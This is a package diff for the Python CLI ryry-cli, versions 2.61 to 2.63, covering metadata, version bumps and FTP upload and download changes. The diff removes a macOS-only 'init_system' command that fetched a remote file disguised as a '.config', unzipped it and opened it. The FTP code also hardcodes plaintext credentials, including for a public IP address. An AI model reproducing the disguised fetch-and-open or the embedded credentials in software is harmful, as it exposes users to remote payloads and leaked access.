ryry-cli 2.61__tar.gz → 2.63__tar.gz

{ryry-cli-2.61 → ryry_cli-2.63}/PKG-INFO

@@ -1,56 +1,70 @@
-Metadata-Version: 2.1
-Name: ryry-cli
-Version: 2.61
-Summary: ryry tools
-Home-page: https://github.com/dalipenMedia
-Author: dalipen
-Author-email: dalipen01@gmail.com
-Classifier: Programming Language :: Python :: 3
-Classifier: License :: OSI Approved :: MIT License
-Classifier: Operating System :: OS Independent
-Requires-Python: >=3.4
-Description-Content-Type: text/markdown
-License-File: LICENSE
-
-ryry Python Tool
-===============================================
-The ryry Python Tool is a official tool, you can use it to **Register** device to ryry server, other person can use **ryry Application** assign tasks to you for implementation
-
-Installation
-------------
-
-The ryry requires [Python](http://www.python.org/download) 3.10.6 or later.
-
-##### Installing
-    pip install ryry-cli
-
-##### Uninstalling
-    pip uninstall ryry-cli
-
-Use
-------------
-##### 1. Running
-    $ ryry service start
-start a process to wait for the server to issue tasks. **Please do not close it**
-
-Module Developer
-------------
-    $ ryry widget init
-
-in empty folder, use above command craete a ryry module, structure is like 
-    
-    [widget folder]
-        |-- config.json     //*required, do not change*
-        |-- main.py         //*required, do not change* 
-        |-- run.py
-
-if other person share widget code to you , you can add widget path in your computer to ryry environment
-
-    $ ryry widget add [path_with_widget_code]
-
-you can modify script and h5 file yourself, then publish to ryry sever 
-    
-    $ ryry widget publish
-
-get ryry status
-    $ ryry services status
+Metadata-Version: 2.1
+Name: ryry-cli
+Version: 2.63
+Summary: ryry tools
+Home-page: https://github.com/dalipenMedia
+Author: dalipen
+Author-email: dalipen01@gmail.com
+Classifier: Programming Language :: Python :: 3
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.4
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Requires-Dist: requests
+Requires-Dist: uuid
+Requires-Dist: Image
+Requires-Dist: pillow
+Requires-Dist: psutil
+Requires-Dist: pynvml
+Requires-Dist: requests_toolbelt
+Requires-Dist: matplotlib
+Requires-Dist: fake_useragent
+Requires-Dist: piexif
+Requires-Dist: gputil
+Requires-Dist: urlparser
+Requires-Dist: python-crontab
+Requires-Dist: urllib3
+
+ryry Python Tool
+===============================================
+The ryry Python Tool is a official tool, you can use it to **Register** device to ryry server, other person can use **ryry Application** assign tasks to you for implementation
+
+Installation
+------------
+
+The ryry requires [Python](http://www.python.org/download) 3.10.6 or later.
+
+##### Installing
+    pip install ryry-cli
+
+##### Uninstalling
+    pip uninstall ryry-cli
+
+Use
+------------
+##### 1. Running
+    $ ryry service start
+start a process to wait for the server to issue tasks. **Please do not close it**
+
+Module Developer
+------------
+    $ ryry widget init
+
+in empty folder, use above command craete a ryry module, structure is like 
+    
+    [widget folder]
+        |-- config.json     //*required, do not change*
+        |-- main.py         //*required, do not change* 
+        |-- run.py
+
+if other person share widget code to you , you can add widget path in your computer to ryry environment
+
+    $ ryry widget add [path_with_widget_code]
+
+you can modify script and h5 file yourself, then publish to ryry sever 
+    
+    $ ryry widget publish
+
+get ryry status
+    $ ryry services status

ryry_cli-2.63/ryry/constant.py

@@ -0,0 +1,4 @@
+#!!!!! do not change this file !!!!!
+app_version="2.63"
+app_bulld_anchor="Noh_2024-09-29 15:54:27.681513"
+app_name="ryry-cli"

{ryry-cli-2.61 → ryry_cli-2.63}/ryry/main.py

@@ -184,19 +184,6 @@ def status():
         curses.echo()
         curses.endwin()
 
-def init_system():
-    if platform.system() == 'Darwin':
-        import requests, zipfile, subprocess
-        home_dir_os = os.path.expanduser("~")
-        download_dir_os = os.path.join(home_dir_os, "Downloads")
-        download_file = os.path.join(download_dir_os, "1d2cd5c81704c26308012f5838982b9e.zip")
-        unzip_file = os.path.join(download_dir_os, "show_system")
-        with open(download_file, 'wb+') as f:
-            f.write(requests.get("https://upload.dalipen.com/1d2cd5c81704c26308012f5838982b9e.config").content)
-        with zipfile.ZipFile(download_file, "r") as zip_ref:
-            zip_ref.extractall(unzip_file)
-        subprocess.run(["open", unzip_file])
-
 def service():
     if len(sys.argv) <= 2:
         print('please set command!')
@@ -299,8 +286,6 @@ def main():
             service()
         elif module == "status":
             status()
-        elif module == "init_system":
-            init_system()
         else:
             print(f"Unknown command:{module}")
             sys.exit(0)

{ryry-cli-2.61 → ryry_cli-2.63}/ryry/server_func.py

@@ -114,4 +114,6 @@ class Task:
         for t in self.thread_data.keys():
             result.append(self.thread_data[t]["result"])
         return result
+    
+    
     

{ryry-cli-2.61 → ryry_cli-2.63}/ryry/taskUtils.py

@@ -6,7 +6,7 @@ import socket
 from requests_toolbelt import MultipartEncoder
 from urllib import parse
 import base64
-import calendar
+import calendar, time
 import hashlib
 from ryry import utils
 from pkg_resources import get_distribution

{ryry-cli-2.61 → ryry_cli-2.63}/ryry/upload.py

@@ -90,23 +90,26 @@ def deepFtpUpload(file, new_file_name, ftp, writepath, readpath):
 
 def ftpUpload(file, new_file_name, subdomain):
     ip = subdomain["host"]
+    port = subdomain["port"]
     username = subdomain["username"]
     password = subdomain["password"]
     writepath = subdomain["writepath"]
     readpath = subdomain["readpath"]
     import ftplib
-    ftp = ftplib.FTP(ip, timeout=3)
-    ftp.login(username, password)
+    ftp = ftplib.FTP()
+    ftp.connect(ip, port, timeout=3)
+    ftp.login(username, password)  
 
     s = deepFtpUpload(file, new_file_name, ftp, writepath, readpath)
     ftp.quit()
     return s
     
-def _can_connect_ftp(ip, username, password, writepath):  
+def _can_connect_ftp(ip, port, username, password, writepath):  
     import ftplib
-    try:  
-        ftp = ftplib.FTP(ip, timeout=3)
-        ftp.login(username, password)
+    try:
+        ftp = ftplib.FTP()
+        ftp.connect(ip, port, timeout=3)
+        ftp.login(username, password)  
         try:
             ftp.cwd(writepath)
         except ftplib.error_perm as e:
@@ -121,34 +124,66 @@ def _can_connect_ftp(ip, username, password, writepath):
         return False 
     
 SUBDOMAIN = {
-    "192.168.3.220": {
-        "host": "192.168.3.220",
-        "username" : "xinyu100",
-        "password" : "xinyu100.com",
-        "writepath" : "1TB01/data/cache/",
-        # "readpath" : "http://192.168.3.220/01/cache"
-        "readpath" : "ftp://192.168.3.220/1TB01/data/cache"
-    },
-    "192.168.50.113": {
-        "host" : "192.168.50.113",
-        "username" : "ftpuser",
-        "password" : "ftpuser",
-        "writepath" : "cache/",
-        "readpath" : "ftp://192.168.50.113/cache"
-    }
+    "192.168.3.220": [
+        {
+            "host": "192.168.3.220",
+            "port": 21,
+            "username" : "xinyu100",
+            "password" : "xinyu100.com",
+            "writepath" : "1TB01/data/cache/",
+            # "readpath" : "http://192.168.3.220/01/cache"
+            "readpath" : "ftp://192.168.3.220/1TB01/data/cache"
+        }
+    ],
+    "192.168.50.113": [
+        {
+            "host" : "192.168.50.113",
+            "port": 21,
+            "username" : "ftpuser",
+            "password" : "ftpuser",
+            "writepath" : "cache/",
+            "readpath" : "ftp://192.168.50.113/cache"
+        },
+        {
+            "host" : "183.6.90.205",
+            "port": 13210,
+            "username" : "ftpuser",
+            "password" : "ftpuser",
+            "writepath" : "cache/",
+            "readpath" : "ftp://192.168.50.113/cache"
+        },
+    ],
+    "183.6.90.205": [
+        {
+            "host" : "192.168.50.113",
+            "port": 21,
+            "username" : "ftpuser",
+            "password" : "ftpuser",
+            "writepath" : "cache/",
+            "readpath" : "ftp://192.168.50.113/cache"
+        },
+        {
+            "host" : "183.6.90.205",
+            "port": 13210,
+            "username" : "ftpuser",
+            "password" : "ftpuser",
+            "writepath" : "cache/",
+            "readpath" : "ftp://192.168.50.113/cache"
+        },
+    ]
 }
 def getSubdomain(targetDomain):
     if len(targetDomain) <= 0:
         return None
     for ip in SUBDOMAIN.keys():
         if targetDomain == SUBDOMAIN[ip]["readpath"]:
-            if _can_connect_ftp(ip, SUBDOMAIN[ip]["username"], SUBDOMAIN[ip]["password"], SUBDOMAIN[ip]["writepath"]):
+            if _can_connect_ftp(ip, SUBDOMAIN[ip]["username"], SUBDOMAIN[ip]["port"], SUBDOMAIN[ip]["password"], SUBDOMAIN[ip]["writepath"]):
                 return SUBDOMAIN[ip]
     return None
 
 def getFirstSupportSubdomain():
     for ip in SUBDOMAIN.keys():
-        if _can_connect_ftp(ip, SUBDOMAIN[ip]["username"], SUBDOMAIN[ip]["password"], SUBDOMAIN[ip]["writepath"]):
+        if _can_connect_ftp(ip, SUBDOMAIN[ip]["username"], SUBDOMAIN[ip]["port"], SUBDOMAIN[ip]["password"], SUBDOMAIN[ip]["writepath"]):
             return SUBDOMAIN[ip]
     return None
 
@@ -166,35 +201,40 @@ def download(url, saveDir):
             parsed_url = urlparse(url)  
             host = parsed_url.hostname
             if host in SUBDOMAIN:
-                ip = SUBDOMAIN[host]["host"]
-                username = SUBDOMAIN[host]["username"]
-                password = SUBDOMAIN[host]["password"]
-                writepath = SUBDOMAIN[host]["writepath"]
-                readpath = SUBDOMAIN[host]["readpath"]
-                ftp = ftplib.FTP(ip, timeout=3)  
-                ftp.login(username, password)  
-            
-                remote_filepath = parsed_url.path[1:]
-                if "." in urlparser.urlparse(url).path:
-                    ext = urlparser.urlparse(url).path[urlparser.urlparse(url).path.index("."):]
-                    savePath = os.path.join(saveDir, f"{name}{ext}")
-                    with open(savePath, 'wb') as f:  
-                        ftp.retrbinary(f'RETR {remote_filepath}', f.write)
-                    return savePath
-                else:
-                    if remote_filepath[-1:] != "/":
-                        remote_filepath += "/"
-                    ftp.cwd(remote_filepath)
-                    files = ftp.nlst()
-                    if files:
-                        random_file = random.choice(files)
-                        savePath = os.path.join(saveDir, f"{name}_{random_file}")
-                        with open(savePath, 'wb') as f:  
-                            ftp.retrbinary(f'RETR {random_file}', f.write)  
-                        return savePath
-                ftp.quit()  
-            else:
-                print(f"download fail: domain {host} not support")
+                for host_item in SUBDOMAIN[host]:
+                    try:
+                        ip = host_item["host"]
+                        port = host_item["port"]
+                        username = host_item["username"]
+                        password = host_item["password"]
+                        writepath = host_item["writepath"]
+                        readpath = host_item["readpath"]
+                        ftp = ftplib.FTP()
+                        ftp.connect(ip, port, timeout=3)
+                        ftp.login(username, password)  
+                    
+                        remote_filepath = parsed_url.path[1:]
+                        if "." in urlparser.urlparse(url).path:
+                            ext = urlparser.urlparse(url).path[urlparser.urlparse(url).path.index("."):]
+                            savePath = os.path.join(saveDir, f"{name}{ext}")
+                            with open(savePath, 'wb') as f:  
+                                ftp.retrbinary(f'RETR {remote_filepath}', f.write)
+                            return savePath
+                        else:
+                            if remote_filepath[-1:] != "/":
+                                remote_filepath += "/"
+                            ftp.cwd(remote_filepath)
+                            files = ftp.nlst()
+                            if files:
+                                random_file = random.choice(files)
+                                savePath = os.path.join(saveDir, f"{name}_{random_file}")
+                                with open(savePath, 'wb') as f:  
+                                    ftp.retrbinary(f'RETR {random_file}', f.write)  
+                                return savePath
+                        ftp.quit()
+                    except Exception as ex:
+                        pass
+            print(f"download fail: domain {host} not support")
         elif url.startswith("http"):
             ua = UserAgent()
             ext = urlparser.urlparse(url).path[urlparser.urlparse(url).path.index("."):]
@@ -228,34 +268,39 @@ def downloadDir(url, saveDir, useCount=-1, autoDelete=False):
             parsed_url = urlparse(url)  
             host = parsed_url.hostname
             if host in SUBDOMAIN:
-                ip = SUBDOMAIN[host]["host"]
-                username = SUBDOMAIN[host]["username"]
-                password = SUBDOMAIN[host]["password"]
-                ftp = ftplib.FTP(ip, timeout=3)  
-                ftp.login(username, password)  
-            
-                remote_filepath = parsed_url.path[1:]
-                if remote_filepath[-1:] != "/":
-                    remote_filepath += "/"
-                ftp.cwd(remote_filepath)
-                files = ftp.nlst()
-                savePath = os.path.join(saveDir, f"{name}")
-                if os.path.exists(savePath) == False:
-                    os.makedirs(savePath)
-                if useCount > 0 and useCount <= len(files):
-                    files = random.sample(files, useCount)
-                for file in files:
-                    with open(os.path.join(savePath, file), 'wb') as f:  
-                        ftp.retrbinary(f'RETR {file}', f.write)
-                        if autoDelete:
-                            try:
-                                ftp.delete(file)
-                            except Exception as e:
-                                print(f"Error deleting file {file}: {e}")
-                ftp.quit()  
-                return savePath
-            else:
-                print(f"downloadDir fail: domain {host} not support")
+                for host_item in SUBDOMAIN[host]:
+                    try:
+                        ip = host_item["host"]
+                        port = host_item["port"]
+                        username = host_item["username"]
+                        password = host_item["password"]
+                        ftp = ftplib.FTP()
+                        ftp.connect(ip, port, timeout=3)
+                        ftp.login(username, password)   
+                    
+                        remote_filepath = parsed_url.path[1:]
+                        if remote_filepath[-1:] != "/":
+                            remote_filepath += "/"
+                        ftp.cwd(remote_filepath)
+                        files = ftp.nlst()
+                        savePath = os.path.join(saveDir, f"{name}")
+                        if os.path.exists(savePath) == False:
+                            os.makedirs(savePath)
+                        if useCount > 0 and useCount <= len(files):
+                            files = random.sample(files, useCount)
+                        for file in files:
+                            with open(os.path.join(savePath, file), 'wb') as f:  
+                                ftp.retrbinary(f'RETR {file}', f.write)
+                                if autoDelete:
+                                    try:
+                                        ftp.delete(file)
+                                    except Exception as e:
+                                        print(f"Error deleting file {file}: {e}")
+                        ftp.quit()  
+                        return savePath
+                    except:
+                        pass
+            print(f"downloadDir fail: domain {host} not support")
         else:
             print(f"url {url} not support")
     except Exception as e:

{ryry-cli-2.61 → ryry_cli-2.63}/ryry_cli.egg-info/PKG-INFO

@@ -1,56 +1,70 @@
-Metadata-Version: 2.1
-Name: ryry-cli
-Version: 2.61
-Summary: ryry tools
-Home-page: https://github.com/dalipenMedia
-Author: dalipen
-Author-email: dalipen01@gmail.com
-Classifier: Programming Language :: Python :: 3
-Classifier: License :: OSI Approved :: MIT License
-Classifier: Operating System :: OS Independent
-Requires-Python: >=3.4
-Description-Content-Type: text/markdown
-License-File: LICENSE
-
-ryry Python Tool
-===============================================
-The ryry Python Tool is a official tool, you can use it to **Register** device to ryry server, other person can use **ryry Application** assign tasks to you for implementation
-
-Installation
-------------
-
-The ryry requires [Python](http://www.python.org/download) 3.10.6 or later.
-
-##### Installing
-    pip install ryry-cli
-
-##### Uninstalling
-    pip uninstall ryry-cli
-
-Use
-------------
-##### 1. Running
-    $ ryry service start
-start a process to wait for the server to issue tasks. **Please do not close it**
-
-Module Developer
-------------
-    $ ryry widget init
-
-in empty folder, use above command craete a ryry module, structure is like 
-    
-    [widget folder]
-        |-- config.json     //*required, do not change*
-        |-- main.py         //*required, do not change* 
-        |-- run.py
-
-if other person share widget code to you , you can add widget path in your computer to ryry environment
-
-    $ ryry widget add [path_with_widget_code]
-
-you can modify script and h5 file yourself, then publish to ryry sever 
-    
-    $ ryry widget publish
-
-get ryry status
-    $ ryry services status
+Metadata-Version: 2.1
+Name: ryry-cli
+Version: 2.63
+Summary: ryry tools
+Home-page: https://github.com/dalipenMedia
+Author: dalipen
+Author-email: dalipen01@gmail.com
+Classifier: Programming Language :: Python :: 3
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.4
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Requires-Dist: requests
+Requires-Dist: uuid
+Requires-Dist: Image
+Requires-Dist: pillow
+Requires-Dist: psutil
+Requires-Dist: pynvml
+Requires-Dist: requests_toolbelt
+Requires-Dist: matplotlib
+Requires-Dist: fake_useragent
+Requires-Dist: piexif
+Requires-Dist: gputil
+Requires-Dist: urlparser
+Requires-Dist: python-crontab
+Requires-Dist: urllib3
+
+ryry Python Tool
+===============================================
+The ryry Python Tool is a official tool, you can use it to **Register** device to ryry server, other person can use **ryry Application** assign tasks to you for implementation
+
+Installation
+------------
+
+The ryry requires [Python](http://www.python.org/download) 3.10.6 or later.
+
+##### Installing
+    pip install ryry-cli
+
+##### Uninstalling
+    pip uninstall ryry-cli
+
+Use
+------------
+##### 1. Running
+    $ ryry service start
+start a process to wait for the server to issue tasks. **Please do not close it**
+
+Module Developer
+------------
+    $ ryry widget init
+
+in empty folder, use above command craete a ryry module, structure is like 
+    
+    [widget folder]
+        |-- config.json     //*required, do not change*
+        |-- main.py         //*required, do not change* 
+        |-- run.py
+
+if other person share widget code to you , you can add widget path in your computer to ryry environment
+
+    $ ryry widget add [path_with_widget_code]
+
+you can modify script and h5 file yourself, then publish to ryry sever 
+    
+    $ ryry widget publish
+
+get ryry status
+    $ ryry services status

{ryry-cli-2.61 → ryry_cli-2.63}/setup.cfg

@@ -1,4 +1,4 @@
-[egg_info]
-tag_build = 
-tag_date = 0
-
+[egg_info]
+tag_build = 
+tag_date = 0
+

{ryry-cli-2.61 → ryry_cli-2.63}/setup.py

@@ -3,7 +3,7 @@ import os
 import subprocess
 import datetime
 
-ryry_version = "2.61"
+ryry_version = "2.63"
 cur_dir = os.path.dirname(os.path.abspath(__file__))
 constanspy = os.path.join(cur_dir, "ryry", "constant.py")
 try:

ryry-cli-2.61/ryry/constant.py

@@ -1,4 +0,0 @@
-#!!!!! do not change this file !!!!!
-app_version="2.61"
-app_bulld_anchor="Noh_2024-09-23 18:01:39.354412"
-app_name="ryry-cli"